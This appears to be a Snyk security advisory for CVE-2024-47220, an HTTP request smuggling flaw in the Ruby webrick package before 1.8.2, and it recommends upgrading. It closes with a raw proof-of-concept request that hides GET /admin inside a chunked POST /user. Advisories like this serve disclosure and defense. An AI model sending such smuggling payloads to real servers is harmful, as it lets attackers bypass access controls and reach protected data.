HTTP Request Smuggling Affecting webrick package, versions <1.8.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-RUBY-WEBRICK-8068535
- published22 Sept 2024
- disclosed22 Sept 2024
- creditJulianWu
Introduced: 22 Sep 2024
CVE-2024-47220 (opens in a new tab)How to fix?
Upgrade webrick to version 1.8.2 or higher.
Overview
webrick is a HTTP server toolkit that can be configured as an HTTPS server, a proxy server, and a virtual-host server.
Affected versions of this package are vulnerable to HTTP Request Smuggling when httprequest.rb processes a request with both Content-Length and Transfer-Encoding headers. An attacker can send a GET /admin inside a POST /user to trick the server into treating the second one as a legitimate request, exposing unintended data.
Note: The package maintainers instruct users not to use this package in production and that it is no longer part of the Ruby language although it was in the past.
PoC
POST /user HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 50
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1:8000